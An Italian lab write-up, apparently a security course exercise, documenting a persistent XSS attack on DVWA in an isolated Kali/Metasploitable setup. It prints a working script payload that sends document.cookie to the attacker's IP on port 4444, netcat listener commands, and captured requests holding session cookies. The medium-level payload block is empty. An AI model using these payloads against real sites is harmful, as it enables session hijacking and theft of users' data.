



ESERCIZIO 2

Report Tecnico – Attacco XSS Persistente su DVWA

Obiettivo

Simulare un attacco di tipo XSS Persistente ai danni di un utente legittimo della piattaforma DVWA, per dimostrare come sia possibile:

- Rubare cookie di sessione.
- Ottenere informazioni di sistema della vittima (IP, user-agent, ecc.).
- Esfiltrare i dati a un server controllato dall'attaccante.

Ambiente di Test

Componente	IP Address	Sistema
Kali Linux	192.168.104.100	Attaccante
Metasploitable 2	192.168.104.150	Vittima (DVWA)
Porta Server	4444	Esfiltrazione

1. Attacco XSS Persistente – Livello LOW

Payload iniettato in DVWA:

`<script>`

`new Image().src = 'http://192.168.104.100:4444/steal?cookie=' + document.cookie;`

`</script>`

```
francesco@kali: ~  
$ sudo nc -lvp 4444  
listening on [any] 4444 ...  
192.168.104.100: inverse host lookup failed: Unknown host  
connect to [192.168.104.100] from (UNKNOWN) [192.168.104.100] 55608  
GET /steal?cookie=security=low;%20PHPSESSID=15fdb7a03e66c6a43b7e5076b5586441 HTTP/1.1  
Host: 192.168.104.100:4444  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0  
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Referer: http://192.168.104.150/  
Priority: u=5, i
```

Effetto: Appena l'utente visita la pagina vulnerabile, il browser invia una richiesta HTTP al server dell'attaccante con i cookie.



2. Attacco XSS Persistente – Livello MEDIUM

Payload efficace:

```

```

Effetto: Il payload, illudendo la sanificazione del livello medium, forza un errore nel caricamento dell'immagine (`src=x`), e come fallback esegue JavaScript con `onerror`, esfiltrando:

- Cookie di sessione
- Versione browser
- IP/hostname locale
- Data e ora dell'attacco

3. Server di Raccolta su Kali (porta 4444)

Avvio server in ascolto con salvataggio risultati su file:

```
sudo nc -lvp 4444 > cookie_dump.txt
```

4. Dump Dati Ricevuti

```
(kali@kali)~$ cat cookie_dump.txt
GET /?cookie=security%3Dmedium%3B%20PHPSESSID%3Dbcd5367de10e6a217b2c3c525e51851b5ip=192.168.104.150ua=Mozilla%2F5.0%20(X11%3B%20Linux%20x86_64%3B%20rv%3A128.0)%20Gecko%2F20100101%20Firefox%2F128.06time=2025-05-19T09%3A06%3A52.179Z HTTP/1.1
Host: 192.168.104.100:4444
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.104.150/
Origin: http://192.168.104.150
Connection: keep-alive
Priority: u=4
```

Conclusione

Questo test dimostra la pericolosità delle vulnerabilità XSS Persistenti anche su sistemi apparentemente semplici. In ambienti reali, attacchi di questo tipo possono compromettere account, sessioni, e persino l'intera applicazione.